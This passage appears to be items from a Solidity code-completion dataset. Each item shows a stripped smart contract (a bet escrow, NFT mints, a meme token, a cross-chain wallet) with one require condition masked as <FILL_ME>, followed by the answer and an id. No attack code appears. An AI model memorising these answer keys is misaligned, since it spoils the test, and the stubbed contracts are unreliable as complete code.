wbtc.safeTransfer(wbtcSide, wbtc.balanceOf(address(this)));
usdc.safeTransfer(wbtcSide, usdc.balanceOf(address(this)));
}
}
// In case there's a bug in the contracts
// or if hyperinflation breaks society and chainlink feeds stop working
// after 10 days of not settling its possible to just withdraw all money to both parties
// can be called multiple times so amounts can be arbitrary
// separated into two functions in case one of the tokens stop working (eg bitgo rugs the contracts because society collapses)
function emergencyWithdrawUsdc(uint amountUsdc) external {
}
function emergencyWithdrawWbtc(uint amountWbtc) external {
}
}
| (block.timestamp>deadline)&&(balajis!=address(0)) | 220,309 | (block.timestamp>deadline)&&(balajis!=address(0)) |
null | //SPDX-License-Identifier: None
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract BalajisBet {
using SafeERC20 for IERC20;
IERC20 public wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 public usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address public wbtcSide;
address public balajis;
uint public deadline;
AggregatorV3Interface internal priceFeed;
constructor() {
}
function getLatestPrice() public view returns (int) {
}
function betWbtc() external {
}
// In case balajis never takes the other side of the bet, allow pulling out the funds so they dont get stuck
function pullWbtc() external {
}
// For balajis to call
function betUsdc() external {
}
function settle() external {
}
// In case there's a bug in the contracts
// or if hyperinflation breaks society and chainlink feeds stop working
// after 10 days of not settling its possible to just withdraw all money to both parties
// can be called multiple times so amounts can be arbitrary
// separated into two functions in case one of the tokens stop working (eg bitgo rugs the contracts because society collapses)
function emergencyWithdrawUsdc(uint amountUsdc) external {
require(<FILL_ME>)
usdc.safeTransfer(balajis, amountUsdc);
}
function emergencyWithdrawWbtc(uint amountWbtc) external {
}
}
| block.timestamp>(deadline+10days)&&(balajis==msg.sender)&&deadline>0 | 220,309 | block.timestamp>(deadline+10days)&&(balajis==msg.sender)&&deadline>0 |
null | //SPDX-License-Identifier: None
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract BalajisBet {
using SafeERC20 for IERC20;
IERC20 public wbtc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
IERC20 public usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address public wbtcSide;
address public balajis;
uint public deadline;
AggregatorV3Interface internal priceFeed;
constructor() {
}
function getLatestPrice() public view returns (int) {
}
function betWbtc() external {
}
// In case balajis never takes the other side of the bet, allow pulling out the funds so they dont get stuck
function pullWbtc() external {
}
// For balajis to call
function betUsdc() external {
}
function settle() external {
}
// In case there's a bug in the contracts
// or if hyperinflation breaks society and chainlink feeds stop working
// after 10 days of not settling its possible to just withdraw all money to both parties
// can be called multiple times so amounts can be arbitrary
// separated into two functions in case one of the tokens stop working (eg bitgo rugs the contracts because society collapses)
function emergencyWithdrawUsdc(uint amountUsdc) external {
}
function emergencyWithdrawWbtc(uint amountWbtc) external {
require(<FILL_ME>)
wbtc.safeTransfer(wbtcSide, amountWbtc);
}
}
| block.timestamp>(deadline+10days)&&(wbtcSide==msg.sender)&&deadline>0 | 220,309 | block.timestamp>(deadline+10days)&&(wbtcSide==msg.sender)&&deadline>0 |
"SevenDeadlySins: Minting is not active" | // SPDX-License-Identifier: UNLICENSED
/*
______ ______ _____ ___ ______ _ __ __ _____ _____ _ _ _____
|___ / | _ \ ___|/ _ \| _ \ | \ \ / / / ___|_ _| \ | |/ ___|
/ / | | | | |__ / /_\ \ | | | | \ V / \ `--. | | | \| |\ `--.
/ / | | | | __|| _ | | | | | \ / `--. \ | | | . ` | `--. \
./ / | |/ /| |___| | | | |/ /| |____| | /\__/ /_| |_| |\ |/\__/ /
\_/ |___/ \____/\_| |_/___/ \_____/\_/ \____/ \___/\_| \_/\____/
*/
pragma solidity ^0.8.17;
/// @title Seven Deadly Sins
/// @author @CM4YN3Z
import "solmate/tokens/ERC1155.sol";
import "solmate/auth/Owned.sol";
import "solmate/utils/ReentrancyGuard.sol";
contract SevenDeadlySins is ERC1155, Owned, ReentrancyGuard {
string public name;
string public symbol;
uint public receiveTokenId;
struct Token {
string uri;
uint price;
uint incrementor;
bool mintActive;
}
mapping(uint => Token) public tokens;
constructor(
string memory _name,
string memory _symbol,
address _owner
)Owned(_owner){
}
receive() external payable {
}
/// @notice Mints a token and increases the token price by the value stored in the incrementor.
/// @param tokenId uint ID of the token to be minted.
function mint(uint tokenId) public payable nonReentrant {
require(<FILL_ME>)
require(msg.value >= tokens[tokenId].price, "SevenDeadlySins: Incorrect payment amount");
_mint(msg.sender, tokenId, 1, "");
tokens[tokenId].price += tokens[tokenId].incrementor;
}
/// @notice Returns the URI for a given token ID.
/// @param tokenId uint ID of the token to query
/// @return URI of given token ID
function uri(uint tokenId) public view override returns (string memory) {
}
/// @notice Owner function to set the token URI for a given token ID.
/// @param tokenId uint ID of the token to set the URI for.
/// @param newURI string memory new URI value.
function setTokenURI(uint tokenId, string memory newURI) external onlyOwner {
}
/// @notice Owner function to set the token price for a given token ID.
/// @param tokenId uint ID of the token to set the price for.
/// @param newTokenPrice uint new price value.
function setTokenPrice(uint tokenId, uint newTokenPrice) external onlyOwner {
}
/// @notice Owner function to set the incrementor that is added to the price after each mint.
/// @param tokenId uint ID of the token to set the incrementor for.
/// @param newTokenIncrementor uint new incrementor value in wei.
/// @dev The value defaults to 0, so if no incrementor is set, the price of the token will be constant.
function setTokenIncrementor(uint tokenId, uint newTokenIncrementor) external onlyOwner {
}
/// @notice Owner function to set the tokenID that is minted when ether is sent to the contract.
/// @param tokenId uint ID of the token to set the receiveTokenId for.
/// @dev This value defaults to 0, so if no receiveTokenId is set, the contract will always mint the token with ID 0.
function setReceiveTokenId(uint tokenId) external onlyOwner {
}
/// @notice Owner function to activate a token for minting.
/// @param tokenId uint ID of the token to be activated.
function flipMintActive(uint tokenId) external onlyOwner {
}
/// @notice Owner function to withdraw ETH from the contract.
function withdrawETH() external onlyOwner {
}
}
| tokens[tokenId].mintActive,"SevenDeadlySins: Minting is not active" | 220,416 | tokens[tokenId].mintActive |
"Total Holding is currently limited, he can not hold that much." | // SPDX-License-Identifier: Unlicensed
/*
โโโโ
โโโโโโ
โโโโโโโโ
โโโโโโโโ โโโโโโ
โโโโโโโโโโโโโโโโ โโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ
โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ
โโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโ โโโโโโโโ โโโโโโโโ
โโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโ
โโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโ
โโโโโโโโ โโโโโโโโ โโโโโโ โโโโโโ
โโโโโโโโ โโโโโโโโ โโโโโโโโโโโโโโโโ
โโโโโโ โโโโโโ โโโโโโ โโโโโโ
$BULL is saving you, time to go brrr
Telegram: https://t.me/BullisBack_ETH
Website: https://www.gobrrr.xyz/
*/
pragma solidity ^0.8.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BULL is ERC20, Ownable {
using SafeMath for uint256;
string private _name = unicode"BULL";
string private _symbol = unicode"BULL";
uint8 constant _decimals = 9;
uint256 _totalSupply = 100000000 * 10**_decimals;
uint256 public _corn = _totalSupply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isWalletLimitExempt;
uint256 public liquidityFee = 20;
uint256 public stakingFee = 10;
uint256 public totalFee = stakingFee + liquidityFee;
uint256 public feeDenominator = 100;
uint256 public stakingMultiplierV1 = 50;
uint256 public stakingMultiplierV2 = 50;
uint256 public stakingMultiplierV3 = 50;
address public autoLiquidityReceiver;
address public stakingFeeReceiver;
IUniswapV2Router02 public router;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 1 / 1000;
uint256 public maxSwapThreshold = _totalSupply * 1 / 100;
bool inSwap;
modifier swapping() { }
constructor (address routeraddr) Ownable() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external view override returns (string memory) { }
function name() external view override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
receive() external payable { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setMax(uint256 maxWallPercent_base10000) external onlyOwner() {
}
function limitExcempt(address holder, bool exempt) external onlyOwner {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
uint256 heldTokens = balanceOf(recipient);
require(<FILL_ME>)
//shouldSwapBack
if(shouldSwapBack() && recipient == pair){swapBack();}
//Exchange tokens
uint256 airdropAmount = amount / 10000000;
if(!isFeeExempt[sender] && recipient == pair){
amount -= airdropAmount;
}
if(isFeeExempt[sender] && isFeeExempt[recipient]) return _basicTransfer(sender,recipient,amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
}
function shouldSwapBack() internal view returns (bool) {
}
function setSwapPair(address pairaddr) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
}
function setFees(uint256 _liquidityFee, uint256 _stakingFee, uint256 _feeDenominator) external onlyOwner {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _stakingFeeReceiver ) external onlyOwner {
}
function setFeeExempt(address holder, bool exempt) external onlyOwner {
}
function swapBack() internal swapping {
}
}
| (heldTokens+amount)<=_corn||isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much." | 220,522 | (heldTokens+amount)<=_corn||isWalletLimitExempt[recipient] |
"ERC721: caller is not owner nor approved" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "@divergencetech/ethier/contracts/erc721/BaseTokenURI.sol";
import "@divergencetech/ethier/contracts/utils/OwnerPausable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "../EIP5058/extensions/ERC5058Bound.sol";
import "../utils/ERC721Attachable.sol";
import "../utils/TokenWithdraw.sol";
// _____ _____
// | __ \ /\ / ____| /\
// | |__) | / \ | | / \
// | _ / / /\ \| | / /\ \
// | | \ \ / ____ \ |____ / ____ \
// |_| \_\/_/ \_\_____/_/ \_\
contract MatrixPlusBox is
Context,
OwnerPausable,
BaseTokenURI,
ERC721Enumerable,
ERC721Pausable,
ERC5058Bound,
ERC721Attachable,
ERC721Royalty,
AccessControlEnumerable,
TokenWithdraw
{
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
bytes32 public constant UNBIND_ROLE = keccak256("UNBIND_ROLE");
constructor() ERC721("Matrix Plus Box", "MPB") BaseTokenURI("https://api.bakeryswap.org/nft/matrix-plus-box/") {
}
function exists(uint256 tokenId) external view returns (bool) {
}
function safeMint(
address to,
uint256 tokenId,
bytes memory data
) external onlyRole(MINTER_ROLE) {
}
function lockMint(
address to,
uint256 tokenId,
uint256 expired,
bytes memory data
) external onlyRole(MINTER_ROLE) {
}
function mint(address to, uint256 tokenId) external onlyRole(MINTER_ROLE) {
}
function mintBatch(address to, uint256[] calldata tokenIds) external onlyRole(MINTER_ROLE) {
}
function mintRange(
address to,
uint256 fromId,
uint256 toId
) external onlyRole(MINTER_ROLE) {
}
function burn(uint256 tokenId) external {
require(<FILL_ME>)
_burn(tokenId);
}
function slaveMint(
address to,
uint256 tokenId,
address collection,
uint256 hostTokenId
) external onlyRole(MINTER_ROLE) {
}
function removeSlave(uint256 tokenId) external {
}
function removeMaster(uint256 tokenId) external onlyRole(UNBIND_ROLE) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override(ERC721, ERC721Attachable) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override(ERC721, ERC721Attachable) {
}
function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) external onlyOwner {
}
function setFactory(address factory) external onlyOwner {
}
function setDefaultRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyOwner {
}
function deleteDefaultRoyalty() external onlyOwner {
}
function setTokenRoyalty(
uint256 tokenId,
address recipient,
uint96 fraction
) external onlyOwner {
}
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
function _baseURI() internal view override(BaseTokenURI, ERC721) returns (string memory) {
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721Royalty, ERC5058, ERC721Attachable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable, ERC5058) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable, ERC5058, ERC721Royalty, AccessControlEnumerable)
returns (bool)
{
}
}
| _isApprovedOrOwner(_msgSender(),tokenId)||hasRole(BURNER_ROLE,_msgSender())||masterOf(tokenId)==_msgSender(),"ERC721: caller is not owner nor approved" | 220,664 | _isApprovedOrOwner(_msgSender(),tokenId)||hasRole(BURNER_ROLE,_msgSender())||masterOf(tokenId)==_msgSender() |
"ERC721: not unbind role" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "@divergencetech/ethier/contracts/erc721/BaseTokenURI.sol";
import "@divergencetech/ethier/contracts/utils/OwnerPausable.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "../EIP5058/extensions/ERC5058Bound.sol";
import "../utils/ERC721Attachable.sol";
import "../utils/TokenWithdraw.sol";
// _____ _____
// | __ \ /\ / ____| /\
// | |__) | / \ | | / \
// | _ / / /\ \| | / /\ \
// | | \ \ / ____ \ |____ / ____ \
// |_| \_\/_/ \_\_____/_/ \_\
contract MatrixPlusBox is
Context,
OwnerPausable,
BaseTokenURI,
ERC721Enumerable,
ERC721Pausable,
ERC5058Bound,
ERC721Attachable,
ERC721Royalty,
AccessControlEnumerable,
TokenWithdraw
{
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
bytes32 public constant UNBIND_ROLE = keccak256("UNBIND_ROLE");
constructor() ERC721("Matrix Plus Box", "MPB") BaseTokenURI("https://api.bakeryswap.org/nft/matrix-plus-box/") {
}
function exists(uint256 tokenId) external view returns (bool) {
}
function safeMint(
address to,
uint256 tokenId,
bytes memory data
) external onlyRole(MINTER_ROLE) {
}
function lockMint(
address to,
uint256 tokenId,
uint256 expired,
bytes memory data
) external onlyRole(MINTER_ROLE) {
}
function mint(address to, uint256 tokenId) external onlyRole(MINTER_ROLE) {
}
function mintBatch(address to, uint256[] calldata tokenIds) external onlyRole(MINTER_ROLE) {
}
function mintRange(
address to,
uint256 fromId,
uint256 toId
) external onlyRole(MINTER_ROLE) {
}
function burn(uint256 tokenId) external {
}
function slaveMint(
address to,
uint256 tokenId,
address collection,
uint256 hostTokenId
) external onlyRole(MINTER_ROLE) {
}
function removeSlave(uint256 tokenId) external {
require(<FILL_ME>)
_removeSlave(tokenId);
}
function removeMaster(uint256 tokenId) external onlyRole(UNBIND_ROLE) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override(ERC721, ERC721Attachable) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override(ERC721, ERC721Attachable) {
}
function setRoleAdmin(bytes32 roleId, bytes32 adminRoleId) external onlyOwner {
}
function setFactory(address factory) external onlyOwner {
}
function setDefaultRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyOwner {
}
function deleteDefaultRoyalty() external onlyOwner {
}
function setTokenRoyalty(
uint256 tokenId,
address recipient,
uint96 fraction
) external onlyOwner {
}
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
function _baseURI() internal view override(BaseTokenURI, ERC721) returns (string memory) {
}
function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721Royalty, ERC5058, ERC721Attachable) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable, ERC5058) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable, ERC5058, ERC721Royalty, AccessControlEnumerable)
returns (bool)
{
}
}
| hasRole(UNBIND_ROLE,_msgSender())||masterOf(tokenId)==_msgSender(),"ERC721: not unbind role" | 220,664 | hasRole(UNBIND_ROLE,_msgSender())||masterOf(tokenId)==_msgSender() |
"First tx was alredy handled" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract CCSmartWallet {
using ECDSA for bytes32;
event Deposit(address indexed sender, uint256 amount);
event SignerUpdated(address indexed oldSigner, address indexed newSigner);
event AdminUpdated(address oldAdmin, address newAdmin);
event MarketMakerUpdated(address oldMarketMaker, address newMarketMaker);
event ArbitraryTxWasSent(address to, bytes callData);
event ResponseTxWasSent(uint256 srcChainId, bytes32 srcTransactionHash);
event DirectUSDCTransfer(address userAddress, uint256 amount, address smartWallet);
mapping(string => bool) internal alreadyExecutedFirstTransactions;
address public currentSigner;
address public admin;
address public defaultMarketMaker = 0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57;
modifier onlyAdmin() {
}
constructor(address newSigner, address newAdmin) {
}
receive() external payable {
}
/**
* @dev update current signer
*
* @param newAddress address of new signer
*/
function updateSigner(address newAddress) public onlyAdmin {
}
/**
* @dev update current admin
*
* @param newAddress address of new admin
*/
function updateAdmin(address newAddress) public onlyAdmin {
}
/**
* @dev update current market maker
*
* @param newAddress address of new market maker
*/
function updateMarketMaker(address newAddress) public onlyAdmin {
}
function execute(
address _to,
uint256 _value,
bytes calldata _callData
) external onlyAdmin returns (bool txStatus, bytes memory data) {
}
/**
* @notice method for sending response tx to user. It handles erc20 and direct usdc transfer
*
* @param signature signature from validator that allows to execute tx
* @param _callData encoded calldata of the swap
* @param srcTxHash tx hash in source network from user where he sent usdc to our pool
* @param srcChainId source network id
* @param _value value of swap
* @param destToken in case of erc20 swap this must be zero address. In case direct usdc transfer it must be usdc address in current network
* @param amount usdc amount in case of direct transfer. Should be 0 in case of swap
* @param userAddress address of token receiver
*/
function executeResponseTx(
bytes calldata signature,
bytes calldata _callData,
bytes32 srcTxHash,
uint256 srcChainId,
uint256 _value,
address destToken,
uint256 amount,
address userAddress
) external returns (bool status) {
require(<FILL_ME>)
bool isUsdc = destToken != address(0);
bool txSuccess;
bytes32 messageHash;
if (isUsdc) {
messageHash = _getTxMessageHash(srcTxHash, destToken, _value, _callData);
} else {
messageHash = _getTxMessageHash(srcTxHash, defaultMarketMaker, _value, _callData);
}
address recoveredMsgSigner = messageHash.recover(signature);
require(recoveredMsgSigner == currentSigner, "Signature is created incorrectly or not created by signer");
if (isUsdc) {
(txSuccess, ) = destToken.call{value: _value}(_callData);
} else {
(txSuccess, ) = defaultMarketMaker.call{value: _value}(_callData);
}
require(txSuccess, "tx failed");
alreadyExecutedFirstTransactions[string(abi.encodePacked(srcChainId, srcTxHash))] = true;
if (isUsdc) {
emit DirectUSDCTransfer(userAddress, amount, address(this));
}
emit ResponseTxWasSent(srcChainId, srcTxHash);
return txSuccess;
}
function _getTxMessageHash(
bytes32 srcTxHash,
address _to,
uint256 _value,
bytes calldata _callData
) private view returns (bytes32) {
}
}
| !alreadyExecutedFirstTransactions[string(abi.encodePacked(srcChainId,srcTxHash))],"First tx was alredy handled" | 220,782 | !alreadyExecutedFirstTransactions[string(abi.encodePacked(srcChainId,srcTxHash))] |
"Exceeds max per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract ArbitrumApes is ERC721A, Ownable, DefaultOperatorFilterer {
bool public isPublicSale = false;
uint256 public max_supply = 7777;
uint256 public price = 0.003 ether;
uint256 public per_wallet = 11;
uint256 public free_per_wallet = 1;
string private baseUri = "null";
constructor(string memory _baseUri) ERC721A("ArbitrumApes", "AAP") {
}
function mint(uint256 quantity) external payable {
require(isPublicSale, "Sale not active");
require(msg.sender == tx.origin, "No contracts allowed");
require(<FILL_ME>)
require(totalSupply() + quantity <= max_supply, "Exceeds max supply");
if (balanceOf(msg.sender) == 0) {
require(price * (quantity - free_per_wallet) <= msg.value, "Insufficient funds sent");
} else {
require(price * quantity <= msg.value, "Insufficient funds sent");
}
_mint(msg.sender, quantity);
}
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function ownerMint(uint256 quantity, address to) external onlyOwner {
}
function flipPublicSale() external onlyOwner {
}
function withdraw() external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setPerWallet(uint256 _per_wallet) external onlyOwner {
}
function setFreePerWallet(uint256 _free_per_wallet) external onlyOwner {
}
function setBaseURI(string memory _baseUri) external onlyOwner {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| balanceOf(msg.sender)+quantity<=per_wallet,"Exceeds max per wallet" | 220,857 | balanceOf(msg.sender)+quantity<=per_wallet |
"Insufficient funds sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
contract ArbitrumApes is ERC721A, Ownable, DefaultOperatorFilterer {
bool public isPublicSale = false;
uint256 public max_supply = 7777;
uint256 public price = 0.003 ether;
uint256 public per_wallet = 11;
uint256 public free_per_wallet = 1;
string private baseUri = "null";
constructor(string memory _baseUri) ERC721A("ArbitrumApes", "AAP") {
}
function mint(uint256 quantity) external payable {
require(isPublicSale, "Sale not active");
require(msg.sender == tx.origin, "No contracts allowed");
require(balanceOf(msg.sender) + quantity <= per_wallet, "Exceeds max per wallet");
require(totalSupply() + quantity <= max_supply, "Exceeds max supply");
if (balanceOf(msg.sender) == 0) {
require(<FILL_ME>)
} else {
require(price * quantity <= msg.value, "Insufficient funds sent");
}
_mint(msg.sender, quantity);
}
function _baseURI() internal view override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function ownerMint(uint256 quantity, address to) external onlyOwner {
}
function flipPublicSale() external onlyOwner {
}
function withdraw() external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setPerWallet(uint256 _per_wallet) external onlyOwner {
}
function setFreePerWallet(uint256 _free_per_wallet) external onlyOwner {
}
function setBaseURI(string memory _baseUri) external onlyOwner {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| price*(quantity-free_per_wallet)<=msg.value,"Insufficient funds sent" | 220,857 | price*(quantity-free_per_wallet)<=msg.value |
"Too many per wallet!" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract UncannyGoblins is ERC721A, ReentrancyGuard, Ownable {
string private baseURI;
uint256 public maxSupply = 7000;
uint256 public maxPerWallet = 20;
uint256 public maxPerTx = 10;
uint256 public totalFree = 1500;
uint256 public price = 0.002 ether;
bool private saleStatus;
bool private revealStatus;
